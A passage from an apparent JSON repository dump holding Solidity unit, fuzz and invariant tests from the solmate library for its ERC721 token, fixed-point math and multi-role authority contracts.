ERC721Recipient();\n\n        token.safeMint(address(to), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(1337), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.data(), \"\");\n    }\n\n    function testSafeMintToERC721RecipientWithData() public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), 1337, \"testing 123\");\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(1337), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.data(), \"testing 123\");\n    }\n\n    function testFailMintToZero() public {\n        token.mint(address(0), 1337);\n    }\n\n    function testFailDoubleMint() public {\n        token.mint(address(0xBEEF), 1337);\n        token.mint(address(0xBEEF), 1337);\n    }\n\n    function testFailBurnUnMinted() public {\n        token.burn(1337);\n    }\n\n    function testFailDoubleBurn() public {\n        token.mint(address(0xBEEF), 1337);\n\n        token.burn(1337);\n        token.burn(1337);\n    }\n\n    function testFailApproveUnMinted() public {\n        token.approve(address(0xBEEF), 1337);\n    }\n\n    function testFailApproveUnAuthorized() public {\n        token.mint(address(0xCAFE), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromUnOwned() public {\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromWrongFrom() public {\n        token.mint(address(0xCAFE), 1337);\n\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromToZero() public {\n        token.mint(address(this), 1337);\n\n        token.transferFrom(address(this), address(0), 1337);\n    }\n\n    function testFailTransferFromNotOwner() public {\n        token.mint(address(0xFEED), 1337);\n\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailSafeTransferFromToNonERC721Recipient() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToNonERC721RecipientWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeTransferFromToRevertingERC721Recipient() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToNonERC721Recipient() public {\n        token.safeMint(address(new NonERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToNonERC721RecipientWithData() public {\n        token.safeMint(address(new NonERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToRevertingERC721Recipient() public {\n        token.safeMint(address(new RevertingERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToRevertingERC721RecipientWithData() public {\n        token.safeMint(address(new RevertingERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnData() public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testMetadata(string memory name, string memory symbol) public {\n        MockERC721 tkn = new MockERC721(name, symbol);\n\n        assertEq(tkn.name(), name);\n        assertEq(tkn.symbol(), symbol);\n    }\n\n    function testMint(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.ownerOf(id), to);\n    }\n\n    function testBurn(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n        token.burn(id);\n\n        assertEq(token.totalSupply(), 0);\n        assertEq(token.balanceOf(to), 0);\n        assertEq(token.ownerOf(id), address(0));\n    }\n\n    function testApprove(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(address(this), id);\n\n        token.approve(to, id);\n\n        assertEq(token.getApproved(id), to);\n    }\n\n    function testApproveAll(address to, bool approved) public {\n        token.setApprovalForAll(to, approved);\n\n        assertBoolEq(token.isApprovedForAll(address(this), to), approved);\n    }\n\n    function testTransferFrom(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.approve(address(this), id);\n\n        token.transferFrom(address(from), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testTransferFromSelf(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(address(this), id);\n\n        token.transferFrom(address(this), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(this)), 0);\n    }\n\n    function testTransferFromApproveAll(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.transferFrom(address(from), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToEOA(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToERC721Recipient(uint256 id) public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), id);\n        assertBytesEq(recipient.data(), \"\");\n    }\n\n    function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), id, data);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), id);\n        assertBytesEq(recipient.data(), data);\n    }\n\n    function testSafeMintToEOA(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        token.safeMint(to, id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n    }\n\n    function testSafeMintToERC721Recipient(uint256 id) public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), id);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.data(), \"\");\n    }\n\n    function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), id, data);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(id), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.data(), data);\n    }\n\n    function testFailMintToZero(uint256 id) public {\n        token.mint(address(0), id);\n    }\n\n    function testFailDoubleMint(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n        token.mint(to, id);\n    }\n\n    function testFailBurnUnMinted(uint256 id) public {\n        token.burn(id);\n    }\n\n    function testFailDoubleBurn(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n\n        token.burn(id);\n        token.burn(id);\n    }\n\n    function testFailApproveUnMinted(uint256 id, address to) public {\n        token.approve(to, id);\n    }\n\n    function testFailApproveUnAuthorized(\n        address owner,\n        uint256 id,\n        address to\n    ) public {\n        if (owner == address(0)) to = address(0xBEEF);\n        if (owner == address(this)) return;\n\n        token.mint(owner, id);\n\n        token.approve(to, id);\n    }\n\n    function testFailTransferFromUnOwned(\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailTransferFromWrongFrom(\n        address owner,\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        if (owner == address(0)) to = address(0xBEEF);\n        if (from == owner) revert();\n\n        token.mint(owner, id);\n\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailTransferFromToZero(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.transferFrom(address(this), address(0), id);\n    }\n\n    function testFailTransferFromNotOwner(\n        address from,\n        address to,\n        uint256 id\n    ) public {\n        if (from == address(0)) to = address(0xBEEF);\n\n        token.mint(from, id);\n\n        token.transferFrom(from, to, id);\n    }\n\n    function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data)\n        public\n    {\n        token.mint(address(this), id);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToNonERC721Recipient(uint256 id) public {\n        token.safeMint(address(new NonERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new NonERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {\n        token.safeMint(address(new RevertingERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new RevertingERC721Recipient()), id, data);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), id);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);\n    }\n}\n\ncontract ERC721Invariants is DSTestPlus, DSInvariantTest {\n    BalanceSum balanceSum;\n    MockERC721 token;\n\n    function setUp() public {\n        token = new MockERC721(\"Token\", \"TKN\");\n        balanceSum = new BalanceSum(token);\n\n        addTargetContract(address(balanceSum));\n    }\n\n    function invariantBalanceSum() public {\n        assertEq(token.totalSupply(), balanceSum.sum());\n    }\n}\n\ncontract BalanceSum {\n    MockERC721 token;\n    uint256 public sum;\n\n    constructor(MockERC721 _token) {\n        token = _token;\n    }\n\n    function mint(address from, uint256 id) public {\n        token.mint(from, id);\n        sum++;\n    }\n\n    function burn(uint256 id) public {\n        token.burn(id);\n        sum--;\n    }\n\n    function approve(address to, uint256 amount) public {\n        token.approve(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        token.transferFrom(from, to, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/FixedPointMathLib.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {FixedPointMathLib} from \"../utils/FixedPointMathLib.sol\";\n\ncontract FixedPointMathLibTest is DSTestPlus {\n    function testFMul() public {\n        assertEq(FixedPointMathLib.fmul(2.5e27, 0.5e27, FixedPointMathLib.RAY), 1.25e27);\n        assertEq(FixedPointMathLib.fmul(2.5e18, 0.5e18, FixedPointMathLib.WAD), 1.25e18);\n        assertEq(FixedPointMathLib.fmul(2.5e8, 0.5e8, FixedPointMathLib.YAD), 1.25e8);\n    }\n\n    function testFMulEdgeCases() public {\n        assertEq(FixedPointMathLib.fmul(0, 1e18, FixedPointMathLib.WAD), 0);\n        assertEq(FixedPointMathLib.fmul(1e18, 0, FixedPointMathLib.WAD), 0);\n        assertEq(FixedPointMathLib.fmul(0, 0, FixedPointMathLib.WAD), 0);\n        assertEq(FixedPointMathLib.fmul(1e18, 1e18, 0), 0);\n    }\n\n    function testFDiv() public {\n        assertEq(FixedPointMathLib.fdiv(1e27, 2e27, FixedPointMathLib.RAY), 0.5e27);\n        assertEq(FixedPointMathLib.fdiv(1e18, 2e18, FixedPointMathLib.WAD), 0.5e18);\n        assertEq(FixedPointMathLib.fdiv(1e8, 2e8, FixedPointMathLib.YAD), 0.5e8);\n    }\n\n    function testFDivEdgeCases() public {\n        assertEq(FixedPointMathLib.fdiv(1e8, 1e18, 0), 0);\n        assertEq(FixedPointMathLib.fdiv(0, 1e18, FixedPointMathLib.WAD), 0);\n    }\n\n    function testFailFDivZeroY() public pure {\n        FixedPointMathLib.fdiv(1e18, 0, FixedPointMathLib.WAD);\n    }\n\n    function testFailFDivZeroXY() public pure {\n        FixedPointMathLib.fdiv(0, 0, FixedPointMathLib.WAD);\n    }\n\n    function testFailFDivXYB() public pure {\n        FixedPointMathLib.fdiv(0, 0, 0);\n    }\n\n    function testFPow() public {\n        assertEq(FixedPointMathLib.fpow(2e27, 2, FixedPointMathLib.RAY), 4e27);\n        assertEq(FixedPointMathLib.fpow(2e18, 2, FixedPointMathLib.WAD), 4e18);\n        assertEq(FixedPointMathLib.fpow(2e8, 2, FixedPointMathLib.YAD), 4e8);\n    }\n\n    function testSqrt() public {\n        assertEq(FixedPointMathLib.sqrt(0), 0);\n        assertEq(FixedPointMathLib.sqrt(1), 1);\n        assertEq(FixedPointMathLib.sqrt(2704), 52);\n        assertEq(FixedPointMathLib.sqrt(110889), 333);\n        assertEq(FixedPointMathLib.sqrt(32239684), 5678);\n    }\n\n    function testFMul(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public {\n        // Convert cases where x * y overflows into useful test cases.\n        unchecked {\n            while (x != 0 && (x * y) / x != y) {\n                x /= 2;\n                y /= 2;\n            }\n        }\n\n        assertEq(FixedPointMathLib.fmul(x, y, baseUnit), baseUnit == 0 ? 0 : (x * y) / baseUnit);\n    }\n\n    function testFailFMulOverflow(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public pure {\n        // Ignore cases where x * y does not overflow.\n        unchecked {\n            if ((x * y) / x == y) revert();\n        }\n\n        FixedPointMathLib.fmul(x, y, baseUnit);\n    }\n\n    function testFDiv(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public {\n        if (y == 0) y = 1;\n\n        // Ignore cases where x * baseUnit overflows.\n        unchecked {\n            if (x != 0 && (x * baseUnit) / x != baseUnit) return;\n        }\n\n        assertEq(FixedPointMathLib.fdiv(x, y, baseUnit), (x * baseUnit) / y);\n    }\n\n    function testFailFDivOverflow(\n        uint256 x,\n        uint256 y,\n        uint256 baseUnit\n    ) public pure {\n        // Ignore cases where x * baseUnit does not overflow.\n        unchecked {\n            if ((x * baseUnit) / x == baseUnit) revert();\n        }\n\n        FixedPointMathLib.fdiv(x, y, baseUnit);\n    }\n\n    function testFailFDivYZero(uint256 x, uint256 baseUnit) public pure {\n        FixedPointMathLib.fdiv(x, 0, baseUnit);\n    }\n\n    function testSqrt(uint256 x) public {\n        uint256 root = FixedPointMathLib.sqrt(x);\n        uint256 next = root + 1;\n\n        // Ignore cases where next * next overflows.\n        unchecked {\n            if (next * next < next) return;\n        }\n\n        assertTrue(root * root <= x && next * next > x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/MultiRolesAuthority.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\nimport {MultiRolesAuthority} from \"../auth/authorities/MultiRolesAuthority.sol\";\n\ncontract MultiRolesAuthorityTest is DSTestPlus {\n    MultiRolesAuthority multiRolesAuthority;\n\n    function setUp() public {\n        multiRolesAuthority = new MultiRolesAuthority(address(this), Authority(address(0)));\n    }\n\n    function testSetRoles() public {\n        assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));\n    }\n\n    function testSetRoleCapabilities() public {\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));\n    }\n\n    function testSetPublicCapabilities() public {\n        assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));\n    }\n\n    function testSetTargetCustomAuthority() public {\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0xCAFE)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0xCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));\n    }\n\n    function testCanCallWithAuthorizedRole() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallPublicCapability() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthority() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesPublicCapability() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testCanCallWithCustomAuthorityOverridesUserWithRole() public {\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);\n        assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n\n        multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);\n        assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));\n    }\n\n    function testSetRoles(address user, uint8 role) public {\n        assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertTrue(multiRolesAuthority.doesUserHaveRole(user, role));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));\n    }\n\n    function testSetRoleCapabilities(uint8 role, bytes4 functionSig) public {\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));\n    }\n\n    function testSetPublicCapabilities(bytes4 functionSig) public {\n        assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.isCapabilityPublic(functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, false);\n        assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));\n    }\n\n    function testSetTargetCustomAuthority(address user, Authority customAuthority) public {\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));\n\n        multiRolesAuthority.setTargetCustomAuthority(user, customAuthority);\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(customAuthority));\n\n        multiRolesAuthority.setTargetCustomAuthority(user, Authority(address(0)));\n        assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));\n    }\n\n    function testCanCallWithAuthorizedRole(\n        address user,\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, true);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setRoleCapability(role, functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setUserRole(user, role, false);\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n    }\n\n    function testCanCallPublicCapability(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public {\n        assertFalse(multiRolesAuthority.canCall(user, target, functionSig));\n\n        multiRolesAuthority.setPublicCapability(functionSig, true);\n        assertTrue(multiRolesAuthority.canCall(user, target, functionSig));\n\n        